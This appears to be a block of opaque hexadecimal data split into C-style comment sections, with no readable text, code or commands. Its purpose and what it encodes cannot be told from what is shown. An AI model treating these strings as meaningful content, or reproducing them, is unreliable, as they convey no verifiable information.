1683dffd52d2904e6e0fdc085f027470ba5daac22e3db2288bc544d4faf8a2ec19484ea3ee5be8e4b9015f9bb776b194dbcf196fbe371134fff393b9632d56329e2bff9b4ea92b3d96f90b235200fb21556a4510e5ffce22bfcd4d84f90f9c48a5e740b98a4e85bf76e2f86ee32f3dba1bfa0fec83bce755cb3cac50de548429fb55657922ae1b702b6519307b10f6863039a5d819fb934c47c85417580ea8ffb85c24c2339a704ba43e6b20eb67fb88d34467fc775c1a96d7e6232d9aa6a7de68aba0fdb69778b2c034e4a290b9cc7fa2d48375009971529fe3695c15cb297bc0c7944137aa75ad84924f5bbe7b765f6d2b8bc91df82d6bdcff41844915005bd63fc0b9832709d9e1b7c17618ec2a59da76dc28878bb27ea1c2042f8ac2f744eca82f3433a639067b879a137df239416b094df3954b23e34e3cad43a4b80b09d6b410edda10bfd3188fe72cf0422b42fbab8eb745cfd16c11accc0f5ebfbaa8fea3c2fac8d7d84c57968b2ab167c8deebf68fea86cc26a30198c3b0aaac0ceccc29beeba40375ba24b3fb373c9d3e703082eb64c53ed7aa928ba14aa3fe4550471f67115f5f31f9972e0fcf6309b19c29506ab475b50052d0e70b42812226cfafd32c4add51ea41075a00795115f9155463e10aa1e93d8ac02d548387f808b2b5a7544ad3423faa899ee38f8b3b00988c001a109fe768ab4d6e0bb9e62e8ea44048ba5e3b6e3e3a807276ec2426d25d831a7820a3ed23f863924e1b6f39672c562d579aee7c51df571f3a2ddbd0f393e20ee1b03f47b7a921d006127227f5a14513c71f5c80ceaa4181686ab0f5f84bb130005e8566f170ae50222d5829231345fc79b1689505d54a123c3360e855f9aa6cef6b07da1de809fa4ed7b3fb7465f746deb4274d56f38f2f956a267ace0444b81e16e7e9443e958cf2e658166f616457c720e88648aa51f8fbc861a748919034d82cabb2df1ebacad058b7a8c8af38efd3095a601a3fb55e2c16c8ce3fd564da591c6d8f19b958eef07b9e25f8aab63bbc0494a85a5bca3164fdc3537beac1598b9586986640756d505fd40193fa8e534724bb4155fcb5b24152ca39c423be267b0b87fa8a7b032616eb28c327e51ea86dda587a661ecb98a290a67b82f10f6b5c914d6669d0d9bb12754a9f54666841082a01813bcf30f4fe55727a678a0118e156b0d89dd776a6b38b3285dee5f58e61f42e945f51febd5d7e0cb7ac25022e60878734403c663e934d4964a4aff60c5f96d07de3bf16cba549d4eae3fd09d4*/
/*1492a0c24f263d48cb2a90f9d16aea263d9625c895f68e8f475e842186cb6865da60d806f000cd7d47bbe1168ba775c5b6ce886fd6ef019dc70bf6a3f5489d9accc82b74cf4eee14f6e6d887a5ac12a49eacbfe38d641626d5466a6dfb1583b2eee5755108020d21396063b9536f0468e46dea5668f4077fd7596be35a28ab33e0f19112cb2ff0c477925c0d2086b38dc4fda2b44a059d7aa0bec6189b439dd2917877e101b6c916f0af4f51ad98e5c21aeff2de9e5341bb830b58d4a3a8eaf6427f017cf4e58f0819aefdfe3984f124da4f6fe1ef2af27274a7867a84845b4a8c9780e2531ad926877b9585ec2e8a6d492851c9fdb3cfb44ddc0d2b1497cef2d44969505f604b8c3d04ee4a666ed6f90eb39a8823d5ae311205ff00b51c94eeba9551a60a224476e4e6b9d0754065742d2a8f2191e7cf684f9b30c58962d69547ba2bd5ca487dc2aee40a273d27c9872ecb87bb75c9bb67b12194287d7224435474654618197387dcf90aa51c238dd9b6786b2b4b92c3e9675718c694cd16f17da6c6690e8f0ebdc3af214757afc3393ecef1e6ba4e8a253fd0b9f55f32a99890afd9b31510b1cf8eac6ee947b69f5153eea8a826b78bd9f57cdbe854d12f71844c11bc1378924915da58ecb3ae1402d8454ebcca729e71b38845394d9365dfcd441619b5e823447caea62673dc79666b6831be68429b27ad89a74d354ff85740bc85db70813e00dc8b17b192e6bb6e33f30017aaa077439b4527e46d1558675c07891e942068a5fe921996257de750a34f90032bad7af91ac35a5157ae8c3d9a829f92e2ef77b34c9f5ba91e52cd482215b2119d3272fb735f1e6815814061693f876b97a0aa5a1be4fbc438f6be77bf6116d7023d6e091ab9a3fb2e7185f472d7af28e54e2ae6044c11f49e03662c0a1429ad107256bddaa91e49eaf60c51d37e2d36059318b4d722769ac18628b833f48ca1d7a120b60d6ef0e86db23a54d722f8c3f6122d5fc6e109c49e71924e8fdada755e7bcf39caac7283230798b9752c2910290737b14f22caa10b2b739eaa0a460a998f0513adee55375fc941c05eea471f0acd0c31b0dd65d8b27b7b94cde776621021df0e10608d616b79acfe246b077b57679b63477f1dfc76b82716c9fffb4f9babc8cbe0826235b7941ec857bb59872e684aeb6070dbb067775b5170051e8590662bd050ed60ca7ee9ab2b77e98e05ba476df8c47e13331059c32d7fb951ceb995b8b3b55c2824075f03ef2b4368216ad275b2a24aaea2e616fc0ae61bc972fcf6ffaea806e1f73a4cc9a94d8f72f3da10f64c1c9bca85feb63cd0b610d44537d103efaf28abc5f81cacc79961a7f8105ca023e10b74fc522645d228fad8a7bd5c076183be925bdf453161a37b6e1ac436889dd00f5b599af1b228436260588afdb571a2c357bb619d39f39c179d850447fe89e47c827b1d21fdfc590d298e5b8fcb7bea1ceaba94b4dc6d66344c6e69da6e4831699de8fe0eabf62dbd13ec13a79a2d7d25e593f1c919db2366c27985a9270cb8bf4f57797fc4488a16548b8d1a9750971b021ec378d7222418a672b342d37678da9f7feec4a2003c386648e2a5e3cc7dade8d903b054daaaa71f09ea7524c8184364902739aab24e55bdb446b90bdbdf0e1c1f75c9c4ef0dfe1f1e2ce931d6eda4cf8ecdf99effa832a8641c645d773fdc60af76f144db08f21398ee1287b0fabf604f9f64a8d34849092b17d97c252174fc0f3ea2cd2ef60f17a2555f0b1a2ce6fe4670194f1e3ce9784f47ed42454cebb9254f0b36f029c4e29919d4615434253ec089fd6a944b59ed9ed9b1fac709e970e32a141dd80c0f144aa0ea5dc7ee9f442ab546e79dc333103d5410867cb91a4851fd272569a92afb3b6add1e7de6a3e454ef64fb924a551f5fe7753a38365d6c8b9ef8abe47a9ccb23cfecf8d420c880cfba87faffa5c8ab038bafd1d31b65b9664702194a8d909c036a317daf37fdc238696c81b5fc14d758987a185fab75e20e67877e79b1629e218b90b25e4b9317bfbeb14d825f7985323d547a99aca732fa2895eab822d98eb24a8e099e26a47a260907d484cee087f65d7516862d43c541176d18cc6d87f50f63e8fc5dedacff91066f0b8a60e0ebdd4bca530af171f985a21ad17a2c96da7285ba190ce8c56d90e49ef9c8f513614d822ece99ebe7d5e14b90c9f30fbb2f900b1c7b04f3d10877f3b37dce74aa134b963396a32fa2e413bf957cadc8c569b1c7644b2b8f7c8732be8bda38ce22c01eaa7ae96e434cb496c08e9b6d4b2436057e6f99e872f7803e87657f0e9ccdd6fe242f42db7d511488fc9832ed27d2d4f6b355761809e4f2ff456d88781c79f13271b7714e63b53a2ca120f622a080d50ea9b5a182bfc6f96f409d27fa985976a6ad069f3518737b1c9027d6ce651e4091a682bb1b25cc047fef14e93eadff908858feff2018e3074cd5713006f184d1147bc158c4a4e4587c95f1891e080edb48e6a13406da71f1dc967d60355548aeed6eeb9ff3946660d5a444f7517fce425c41fd8f510ece7c872d42fc939110b65210cf6682254f6e071ff394368a5700f28bec30a73d3843faa5089aa20860a62801cf04a30ccd999efacf8c739643f157a1b25bb381e9eb43d1016a2db062aeaab1693c7f2f30da873d255ed90b7d48579a524b2ea7e3588eb10e565e217dd302af00ae8a76317670660fc75dc421e15cccac70ad570375d5a6169003581bfcd7d0401ce60c9c99b4b727d34c665b2bcf1f4fcf1a7c99db220e01ffddb4b13403408b5082d86be370a327c718*/
/*f1f450981aab5e6046f61bf93dc9e8b6e0f795657e83da58edecebb358a126843710cb51789e9f827b01d4c15360dd95633c5fa224a246d8df39c8e5ad1e7371176117055481dba80f6752ca0c8758db5a3ee830a2bc71f5d81217426b4f454ce7da59da16ebecd7899ac3e475477e47775412ea8d90d902c79e69b6ab382ba27d9cb8a43347d78093fb98464e38d6172603633233abffe633ff940e935c65b3f65b27fe9034b8a41bab98b6d73c7e6beffd4381f9c9d0085bc5844b5809c73e8c100a518007c26e729225a4c111818fe7bcef7e3bd7fc738ef6669957321458337c5555eaa4e9927b539b4299e0e7f67061975d9ac7f76e8b9b5bcaf767868978b756c2cafab7c4e5fefa4bf9f5d1178c068889a6cceebf1c38f6197c8ad61873439ec4467dbb6659824b01c8ebc2a4f13326c2392feeac965e9f49fd5769c577a33dec4e0119ffb00fa50a2e885e2fe9a98c98ac89605bab7eb4a69fda0db6ae7e08f855c36b88adf1b9a99ae03245016572cd896792d152b27c9d75b5e341251862627ddce295f6ef2e4774a42c13fd22bcabe7711131151a4c5e7055ad3a4da098e9576177ebdb8cb1f611eb83b5f13bf211012b7614f46d30b828f37413b7a6b8b0f04ba0f07378035b7c41a2a9e2a8cbb04b566f8b39c714a028f0bbb58e8fb39a05843d7b9ddb86f7001945d459a6060ad90321dd8dff5597812f5e32a6de6a61038fdc8f44495e124af064474d3ef2cad903e8c50ec5156984ca64246cd833e8bea8e52b81dbcd159addf65b4c0a23ac8e4f83b0bd9561bd76a4eae20dd387c432bfd4bcb5f24630252cc3e74503a4329c922eaffe199c7363f1309f4f403ca5380c58607a90845d77719e385a8f4252f82492ad9be67c924f7635675c839fea3b7f4b12fa658a079109e97c2091cac339dc3f54c01f43b7cee23821ad32a6691735ab13589ca1f646d803b01ac35067eb335f65b31cff8007692e54f2d3b0f3e38732a20e9c2f871e07aab8569cb9bdba9379ffaabee3562a8319417fb844d45a36d4c44d1fcc49b921146853ca0c4830d9b43f48748f61e835395767ae6af0e33d2463762d8f09f851069fdc42d8bbe046d01421f68f7edb388fa74e2b641f69ff2d668940a4c633a2f9aed5edfc29b061f73580cc00a5dd6497b6ad30a210c8dcf10e10a1b95eff925b5e897a9665507d0b6d5d98463af39eaff613b86193d13323a22085ce48ebedd463112841251955c24d10b4f7942d191e9a5195c7e95affdd8a8e8f63fd9ee6b96c0aba7e24ee02964e9f31d609e3d409f2bd4ff67000c8ee836110f0becb872e73344b2a643859c4b9f05e29e3d83be21a2b07c74e443817fc746658e22ffdf01ebb9d6d9138121bf1eee7078a9c10be709dd37fb3969b754aacdba76ef6fa42bdffa3662d2cf1a5d401347ccb6fe0746b292907f3be70450c7996626139260691bb8a829f7d375d12427e85cb92070e1494f613ed37dd06a2553a2d2cbedbf1379f98eaf28f792b5f5b7329a78d9d13c6456ab70db5996400ab6e34570a4cb4b1310e6956763628d233f3233f94cb8ba501eb52076c52e3c6e26e689de6a751e24a78aa28486769bb71fa5cce6881207ea39550ee019ab3c137c5307c770975b8bb9e2bd9a189ad501736956178f905799dbdba8b9edc995e9a78bcf58f5c03f983b06125f4219e88131673743fe16a6bbd7e161248b7e3b51203a840cb490b1b5e57ccc13c358c97bf7d9ca977a4921dac344681019aa1d377abf602daf50c687dad6f196d5803c076eac04b519d96520c6c25f95d5f064131b53ca874b2f110c3d9f93710e9e3cfce7029ba04cac36c7b30260fed497ea3df179bf08f24d9641647b4a2bda9d4f1d2a0c784ff4feb6da9d67d668613e89e8b15979fc2748a58491fe5eed8af5b625c21eb1ad7aa77a89db447b2a0f343b5b441e136500eca7dddc76535414cd10560e27b50d3146c5f9db2c424b2e6e68a88f5f2ad9992b442ace1815fb546d8a39b0bd5ba9f367305a86832bb3a7ea47ff2f64ecc0cf1d03f1d9be6160f4a4cd1bd2015b6d21c4c853eef573cf8eb8eff679cd577a97795b6d58dcfc3e27e4ea36a22a2762b9b004a161669cfa3ec44232f705931358a2f33a27eaaf690e8e65c325bbd6f17c1342f6ede4198d1f198caed7f5bfef84811319c68913efd219529a00074bd2a5390af32347da070658342b4b5727c0b4e263524a455d05d74bd8f94d927a17f86adb4afd87705a2539deaf4b4a3d390e1d056f1acc0ad3acad317b85cec2c39a47a3f7d497968fedacf77104784c8219d52446a9a381a308dbe976cd53e1d96f73f88a771e841a1d9a4503adc9a052ad817aaef6f305ce3d2e86f1a7aabc429d97941406b1ebe57c2cc0b1adbcc63e17b9946135503bd17436c039d88d2dbf1475c73680884388f12dd868424dea353dade198a18a9b4263ccbd0969de51fc77d33b0665092cc3b9501cfb648f00e7eec25fbfa71e9e91d168bd71e134caa7a92ef787564c1933892c2bfe3a78fdef2bf3f6782209a35531b7fb2f507b5de2d039bb5c266a5c018cd6d16b27c06aa29846d850ba3890e9444ef321fe3236763136c1ac9c94f447b5a5bd568a0448b5c42c0f32747d1ffbd88bd916663d0e73f96174f19be8b6160b3142ec9abb148e5bb79bc1f97840733ed59e53a97980df5e87413520a54bd59ecf412986e7f199996b71e82b59f4b7a810d07f43c082391e0331ba231d35bdd1f563cc63a1e23e518ebf00db6e3b3fdb3c8a698f30f330b59fd4c4db325f086df5f53bad84bc5f6a5f2e6*/
/*e001b8a5494f448f22fb2b11a53db4d3602f07a041ff9844a85ed52d1453541ec3a4ada06df5a886df3b5559c6887af29da8df2460cfdaeb02db47376cd3036b02ad076e44a0f435b2764a83f628b423bf15cc31f4d96b43f30ec9297eb7804c0c892af45823ecf2733ae8d276b381e6a3cdddcf60f560aecad34c3803bfc4208890acee9c59eebfe2942522b2c822b509f13b18c16c473dc303fddb11a18bceb8a6c4a34c82cebf671b8c96d3d597a5408d30da7e469377260fc9e911e4c4ff09676f5dbf0ad6f59d89da335a9eb319cd452f89b2f62540ea43d899b616377a8f9a5006990d652502a0f10391e9cd84668a674345ab10fd3bff511dda2e167e57ff578b5cdb3af6df9a093873ab6134c5aa05c9c5c1efe6060d4ff21f3d30e5bc64482e2a7bfeab9af59f1dfeade69d7bfdd5d4d38786679744c28784b6822a85424ff9e98cd784e65e9a9c7569a5b94ffc7e7fa66235488598cfe2b2f9bc1c64386eabcae337bf22088225a484813e60d8cea4043ee4a1ebb9d665d853b1e1f279c8b3fd991e6f031ecb9f44f5547c13ab102c029375e69920bad28918480f534f54c99b249306f0db6cfd78e42c5cd1e8dfc02baf148ecb0c34ab11b689af127458f2324d5e9f4aa03f8bed953cb6fd30ec057e08bb8e3db0b0d6f0fc7d7974ac27f10444052cf5546dea4f321108f13689da5ea6b83e40c2609a1ddd7093b832844df1d23d156a5b976a2f2dcaca685e2fd7cba4d76f29c656ae407bb0843cc75eea67db6411e6aae5b36a6c221404586474d24be0e73dd5320bf1a9c718df5b6fa1783b22975bf879ce372d2f3910071aea3ab3f3fd2c57067cac96a4cf7f44b48ea4da08cfbb672e24f33dbb4573173ad56ab86affb56c67218f880bf6a4978b60ca16d53b45b7a8f9b59f82282fe62ce1ed83e90035ef770144cefd52681ee16b0bb071c9cabd1642e224daaef0c0423f7a6c9e64c7043673b0bb596af2668f76c1599a66c9cb443582ca88ec398aaa21e9fceee9daf29436ccc0bdae500e5407e3d2ee7d5e996e0f9d53576b810ad0004c79395fa89006a5fcfe79a7a179f1d4f090dfbc3cf91717cd2f0050ee2e1bdf81a1be9db617de4891f99058b715cb134b7b41f9cf2ce9e1b887d30682ae1091cb0b4860130abc06d913c9aabd8aa40f622896ca07c005da3acb7f474bb0cffbfeb4264e769ccf8ff7d4458967e84cd9dfc45323d9a667c75a90434f43f92fcb671258a74d7ce39d8d774d78dc94cd40186a89fcb63d5617da18245a9dbba2c7e5b4f2bff4a7377d54eece4c0bab3c1a7dbaa67c9dc70d477bfdee92caf289405f357722ac14ccaae0aa6124bf98f992c3c36311a1216b237b82f8f40584feeb722f0a740f54ec462b68a03b20c9000b9d12268d8e02fa55aab59a2f93146eff1b4325902aa33b1ccfd86898c09ee4e008bf92c9821eecbc92ad1da469b27cec0c26801a3456699ef722b27f3ff0cb02f9fca9fd56ab07c641bd78a30fed69775f367b194880db0a26a954398ade4c094ba587e2eaaa5fe1ba6ef2568162b63ea37e1e89dea62979879f960178173fa7cf520e52274b7a304c7c87c28b11487fb73d3d890134199e1773c79d9f72ad4708c12129dbc2264e85db30a2124f145867dae3004c0aaa747c1232b86fb2d242e2e07b5e8e2ba887bda016d64c027bc36e1821f2f13089e388c989da85e802c90d44d2a22a9a74ce6d7fe9b7d08c314270befa3ec1a0dd421997cc60006a8eb4e0b0fd8ea9ac55f35c85ced0e83fab49b227c450e79a208281075c263adb20a8d3e5f25bd94148247b2d56cef1c889b5a5a8c15b32a52613f6c912f156b4d22d644ad63d7012ba094208066efd478475cd431f298645307668c000f0d7d6243b15a7db3be15ab52f2fca3d218ba59969b411db5bec1b92aa5df1e2e3323df54c8ce1a57388db28fbadcba81d13f4fd5969a9e225ac03802cb896cdc57822bce5023100e3bc8505173e006b1b68b91816caf85bd85b32847885b6b81fdd27e8f2c6c55ac83ecd1ba2024e8a273bfeab52c88318c13c4ef5566ffd64aa7e9f3d311c595b6986a870474ea56fb2e4832549b777c577b80648ed4f1a762ef47440d584df6776de9d3c40c9af350dc360ccc75d18468601e9e8fdef964b10a608217ced087c90aee38f9eb1c42a86c1d2f40db06d56d300eb0b8061bb696686f789c53ecda6665ff3f4dac4fa84789a0985f66380989f877dc76965ab4b1803ee22cbefae7120d36ba1ad038127d2550e9f3f4d7b3a90ce6cd36ef9e2db08cd004bb6de57d1708850cf846a90394881ae3ecfcfec79222a29a1046d2e496456ad3e4bcdf8c5488a847ccc1a24c2f0fcb864ed11633470d4e384d725a0c055cbf952a325723d5404eb2962b981ebf07a4e7d3a19bc53136cb1ddd02fc6aed16782d6664dbf4653b8208022e0732472228cb9e94ab797c22e840db1662b705d6943c320895f76fd5b8c7813ef1f43916155d5e6311434af154b4073d233bce613a0354a448f609239330b16b24443eedcd68a42099bf561a75ea7d6a7f82653f7964f2e0bdb50538d6c04ec163b7e4228ea7f95d2a8c1aed4aaec0dc292319ce4cbe94448761f46e2975f5961348d66039031f25b5e20d9c81919489c3b6e7e0e2f094bc6fd45d389615fc67f2f0151f3af663e10111b9436c5abec33c942cb10f9dda592e9697a3ee8a4b1b64994b67194a6ae809dc87553c98cfe7ea71a080c88f82b019beb764907d5837992bfc18351480f5ef58bc8c94c90a4d316c01b5a3e11613a64f3eebaafa948f866f8b4*/
/*87b7c0da394e56b5826b2a1993c44d241d9f12ac7e868c811f529a23d71c047f502c68c09aaf7829b321fb91319b679a63a5d0b37a17c85e1cee2c8edf939cc9702444e8e5927793f2a43f8121f9f0011132a6736a4720f0c4e83cd6b74715dabc4cd722db1af55940b00c8c9e6b56b9ebda330c104f53416029a852f5e03982c0c88ce6c3b5dda7d5b6078701513bf99a4de6bc09045f8add4a16b5e2710bdaa94e74bc705c0dbca6dc67ab1e5f48833401a2b6b85fd359a45eccba1f00d442512e6232d7fd1b2f6a69d3fd953c0e9732b81cc4bb0779383ced634233faa7f1763d09670a6bc0a03b213b8e606a623dc1abcb674ce718ec8676054519c3bcbeeca9c46e41fa8cf4a9aeb12309ef53e14b65ff56e65809a4df9dac9c35521e05e55f8b5946071ec771f6dccf30ab9ccfeb15f40f862740d7b01ada09a8785e2dc6435f0a778c81c96e3aeb53db9dbc4b759120bc77d698ab4dbc05ff543494d4064fdc7c37f15dccec51ea75f2808bf4db4a46d0cb8d0391170186a5899055f42814ee19c2910e1fd3325da9a8830bd56a19d46bc3f4c356997ad0fe57954681d03aff50bd5705776a031e28d9c74c0a50655d9dba011e75d00e5b69f54d6b6c8ae3743197811bed7126b0706c1ce7d265e58bdf2e74656108d86cfd0a93c4a785d218e7d48b3c5ba8c03c213eacd00cee5e7c6d9e5766d506172dc9f09de2552340a1003bec5e1c23bedad4cb55995c88a1f872c7b10e1b4617d81255ede9e91a9367bdae4a3330ab5edc834dfe9438d209d500284439d871f74e71cb9e58d0ca2135379629d67aee65cff981b87e1560ec261275bcdc74745fa5d76bf4bb450c22db04e5fbc57575907389fcea9417824ac2c5a15308e47fd558a71d78b3353b975e99f510f98b5c91d939d309ba2ff906923d006145dfca85330565c4871b23fc92c270b5b36c4d84c73cc5790d91e5354282238d1f804026ed78251ee6497bb519af8b1b2a29b1c12e2478a52d6d2508988f58062d4d36c967c07c5d5df0849127fb82a04ada689ce4013d0dcf765ab488c56dc99f614ec76a201a79c94806ace6b6be12275f4d6ec40e7da655862f0d0a289f1cd2a41830a86f8744c887918b72c52802fb6ae8be3720ebc3ed2ac7447dc9ec6b2aa1aa466169836f67262ce86d96b2f16a25d4c84180c2ba1451c900c07f030a4a9fab1c652f02ace71336f6452a5e3c9fd94717144eb2c80184fedf628ed1ff6d4d12af77683ce29d45e38c98ab5f64d707b14d21ddbf9e57b649e92dc87e85fe3864cfc771d2b054e341183491cf9a9fb41c2382bf5d15dce61fcc85bf360ec3d1f9556f1a0ae2d4c4e885f919b7245973101f3edccc466e46e790763f078a4f8933761d5763d87cf4a67cb2038c956d3673868d480a6cbf86fa23583225d0bbc659ff44c2146d3dedcf639125327deae19715053ad541ff2cb45fab2298e529d09a1b2d5973225ebe0e28110f5651cb53f6f6e2d6e06d97694b52fb28be1e84bf3b0c81d65ee318327c5118e0cbe76bd7661c4833813f654b6e877bb3e7c1cf7ffef56e120c4c02554627795ce9e4c8fb3b8b1a67b6ade376036c1214196b3d507b5519f7d1228539e67260df29c7bed91e0311ed8ead6f8077fe6e957fe2dbed289c0d49188ae709bbb0373cc4669f3c86e5fa1f49a8aa4aa2499eb99a3050d2b321ae99bcf4f140ff82d7688ba49421e043333c4f6ee88dadaf895bfc5514ccaa917362b93183b1429f93505db77fda4cdafa24bb8dc9f61a27ef19e02c567f3c648747a960674df0ea988b94bea38dcbf2e8d346776dc0e9618d3eaabdbb8e1e0acf58a52e8fcffa29cb8915f156ee98fc5e3e5d3c2ac86caca48f9c5e34acd94ee71aa7b07bcc04b5cb8d3455c1b3e34efedebb52588609fca1294f6770b5e158b45a3edca2f1f70dfde5a0a4ade5a22bb8715fba52e36b30ace763d26eab7d36b61e54fe5b787307584fa49c029c57bf11cc000fff2c7ebf70eb774563105fc1ce08256968cfe69f1c0c47d48e31093d047699517a23e0b4b630a01676a3acc30391675d66ebcb21c7fffa916537bb3fd12b28f71f40f164e5e2e00b8632a2d820ee33946623d463d931b61322251b41e9604d32f2af3aade5ba8336abe28740cb8964977d648dc35dc8109dea558183de479ff450bec1aabcf21b38620cd46e74091535023c71f15fad6a05beb2374341f3667f3f19e6f6cd1459736f3f1af24ccca5ba301e8830a2004fbf7c020ee6625311adffcfc2daa58116ea98304e7488a50312af0063a6d6d74d8b887baed0dc06a233d2861ed46925c3c0a6f709846d59e31194e02260f5f69147192ec2b81d92815a80e612ca1db5859686ad0aa8097b8da10218c0bc9e5a4880b8862b79393dd3f32b729d308e37ea0234728f14473ea1a900a16ac6869630d9915853c3bb4540ac9e9e459c79bb65af45e87fd677877a7d6862e5303353d4ae7c800e777e5c78499edbfde132afd1e9d098c88e366684af58f345bf48f9163ef9d88736a0766a17d448a2fdbf56fff3ff414a2a58349aa18b5439d7ecb81981e7f1afca9177109d6c114cb1f53b16938d90cf20011ada175235a4932b37319a946c69e7d5f346dfd71f2b4d7f837f0f1974afd49c620bd1648a211d43ca3bec4db148a3c054f8a5971a76b60d757511ca31606f9bc72f02c83b45555fdeab177a48587c1df1df984c33ab3d7b4deb30f9ed7f57715ac19f965513cd0128ea7e596d01714129c755258281d70bddf8079348652c01199bba4b610c285c363af57999af0d2496e016c060*/
/*acfc7cd1b1ed995491dcec31c36a43c168512017c7f720b72f4135943b97249e5ceb6ab3426b91abb69f56ffa637f20f284a9cecea5e06d0325b9565d02865e34992b48f4aa2fbf516f975566b461d76bc7114c907429567d40d1f20ee9e4f00df26add8e3f87f9b6983e526fb629626e0a55c1cf3fa5e9d5365d82716ddaaafdec1b18a87a6f5fcb098a4b44d3e0ee178f737dc9d2d2b6e50ff59c8260dee606627a82ccb879f67d5dad93f8217a034444f187b35303d0af92d00670edcb152601e89e26c83ca2c63bb33854ce31bf55f8bf58c62224a780bad57f53f97680793455ae89a267ecb8403502f39996efea8451417ebb14a92d7400410e267efe0e023772b8ab12982eed18d32731ea71431cb08dcea14adc374a23130d6c982e91757608b5c97436075beec74486dc1adb3ddbda1fe21a93b4130f3babf2aabdaf0a1e8822f0bfddd23b12365cdbedc58b91c50591459f482a903bd6db55e09d6e994a48c8829ea8e316620ab5e12639b6a6f6bbc75658e14e5804921590051b6817aba60c4ee934e811d0e160b01df3d085c98f3eb9774a302751aac57d4998f6c059a72271bee77bce05a814ff5d3c9a22204cd8707a728eb3ec3a11bd555a22469c97b39b47d2ca878e4992fee706a69884e45e424222b170b141a182f6bb90631cb04358bd59d78bc54191d880d87c3fb1acaedebd58aecc937d2f5d99891dcf92b1d49b4182a7b2cc7ca6919494f3d9f2f7b3a396b689bd330e9d2a8646ffbc87292d3deec31ef690135018c179fe45d1f54f0b9ba21ac8d426d9b023529b4c647aff6e81ac8c840d4e9d69da49b39b3777e0475c3ee08036105a543c6fa65f13216f1d823406cfc47439cd331e23add6d0e484bf456a865144072d828388548b34f46255cf287182536c027c13c05bfc8e7b6182af7a10de3c9cdf25252893b70688a5d27be2eeda6156ea27230019a3b8f5b0e7af690ea848a1237c1e07ff8a1684380fb997a3f7922116f5943bfe319ec44c34c2f2c2f6af86ce7227d658e6a38e685ff97887f7d98b778cf8fa2158b99480d872143bf477ef27868888c90dea9b140073f149574b90f4c4638446b79f4eed41ce374c21babc675bcae79854716447d0791031d3e62ac528f581a9442fbfb16444f83470a6eac651d0758941868201098800a43c0071aee912a48c0c727ef7e848fbd50f141ed31544a348231c3aab847f1aa1174d910e8e81dc123a901f0b1d9dbf10b159a394decc48574511a83065592b17b8c5b98912dded4ae9412e9567c263e6e89d9c205e0483dbe0c3ec83fc183ed6accd5549ea19d1104372d245bfd95b5e786ce82f87b905402e4c4695ee658ad6ece89edf0f98de1e3c8af2cb05ba37bd532abe28e3c64a4ae0358ff57074fe99ed4aca26080921634865ea59caf5b552ef8135f681d318867961513a943dc90411b3dcd5e3cd053536db60d286472cf31e9b2e1e38bcf3f2e3c0ec562e7b37cac4eed34f86e7d2a353f44320935f2e8e7a51c512cd2216a849c5bbafb3739fcd0df99bb76c849f62220b7a08751995a9250a6a241cb5e05f415520367636f17eff39cfba014d6f4d7b80500620aadda401f60cb5d6eb27eb3baaf1a280de50df1f366be46f1e59b85e00c2d8a01f7f7211db49dcd93238306c25b6140807d9af64654abea2f9f19653f426605076ff0dd6e8956a9461a29517a8ae439f4a7f9f86a36e5c4443d058c1bd9700f7fd9734bb8e1eb8b5b106b542d30feaed176b87ea5ec38ff403cdbb36bf2e987b7f610961689d3f33004a697f4f1e564894ade50530119ba6afe92950942e50205ea2af733e700eab77d5dbde1a75353c76e8531daf65963d16c20a67e3197a67f5e297d2476ab9eafdcaa28c4deb7839e2dac5f038f7c2d436263dfa1a147874c886e172ba147db9fbafaf860f43ebddaa23046522b6906e28b1006bb347d0f718fc6d71e2b6629b02ebb2601d7485cf03ae0033d72ab2fe01c36f19c593d8c50ace3d6d1df4b191e4210178e82b18da015c4f07eaa00f2114956ea70ab0e838704d276c5de6f78ca0980a88db060233e40762c973858e7e9bee83557a29ca8a5c30daa1612b463c2c48d7f73e3446b5a035576f6e22beb542eaae370fd48a0824dabfedf9855a736e5611255da9ff199b97eb8b3ba56f1051890be8f6fbc55d4df60d480442714db152f8946b5ab1b9f0ea7f8da3c1c12239f6f2e0820d613b8c07c4d1711a62d46063c63c3cdace0181ae742aa07a9af71c268cb7fe125765813ded8e6861e74cc633447aeb684f68fb2456cdb8e50057ef6cdb35cf5425184188e65c0ba0bffacd97aa90b5502afbcba88736484202eacae12b77448f39444a03fced3842897d9d5dcb329b5f058335a3afb40dc0800740e4c7798fb80f18396dd14fe7d92c1bef941074a97943eb147ea40c00d5d28bd75743716783dd50fd09bcf6c80def10dd469e14847aa3e318070e665f08dad517f939b97f9d1ff5f7576ea668d70b3b3ec4aa3426a0126bfd2512547bb7393abd76ca4929f7f8462e4d60fa7d60c19b4217088ccd9296f52dcfc5eb34649b5fa9e2acbf610577fcbcce0739d44005e6410ff769e974f3f54fe0c61168693b521dc460328f14cddb4f876a3ac36a25b42c80a30dc732bf7f1ff34cdb2f596db2539fd15cad3a9c012c3f0dd1ed6a8ea197906592096b8cf998a750a7ba4b2484b2abcce0a83138742ad8dbd115b14d0d2b203d564d5cf3b53e97183ddde9d7e43ad9804097ed3b7049d3c1c3d103e92b4745b5d02ff0451a3cf0c45077d7c7da803*/
/*10f11a837709ba889287f375c603942c2a1dafcb62be11b088f5b7a7d543271236c508334c229f01ec3008c3c3854b5c54286f50352ce2747abca91980f19382c79e5de945c311ccdcbb2b4df2cac1cc0e0863d6ec35f62f3b81c601f59a24593ce213da65bb20045bd5f9488cfb054c4dd8a36060601d22019a75dd914795c0b24ae04dcb8baa619dd3ed303c41245ae886cbc05775c72c6c57e5ea0fdb46059890e6a5a1bb03c82c80914be62d4c5293d9aa42e142be061be9d4a1dc1cbaeeb088f6ce189ec816b0371034619d32634426996d2b755b7d33164680e921e19f6070ec5877197a73a85390e68b3be9234500595ffad6219c2050ec9102331445256f1a193896d6d70e4eed76374fbc4f372048956ec4bafbdfc5c4a6b3c4186ae9036b1ee31ca466c540d9ee7553272e1845259019596db2f2eaabb2aed7b9378c4a63b615f4e515bd7b1223b90d0883fac2f0b22ff15d8e1d036c10d63dbd3c48bb93a85ea487b254cf3f735cd8d1105b381c6a6555c79278faf3914bd8813ad741d65e0470b01dd94a42bbff14588304f731d66b247711a4022ff3e6a55857feaa780711a726359faf45a2a205813e32ba6417faac0db2e630eb88d5bcb89a1367e1da91967c6519eb1353c98b06ea268644cc6ceeb6b04f510c909a1d3239384dc0871272b41875301df34a8b7b0ff7b5c97b32d8221a17c063f90b5aa5c4903fac41400ab37f3635e21c733d4377aa87a7e34701908bb90fd09d599ba3038e445bfdde6ed1a1125df3c2af8ab27f815c3cad0f2c82f35b96de43e7344df68ddb0a16af13d42fc4fee02ef681c17018d0f67c488b9d905593ad3f1d5286ec3d04ef6b3bdb03051ca8e09843ac004d49daad98ccedaa4ff87818e9c7b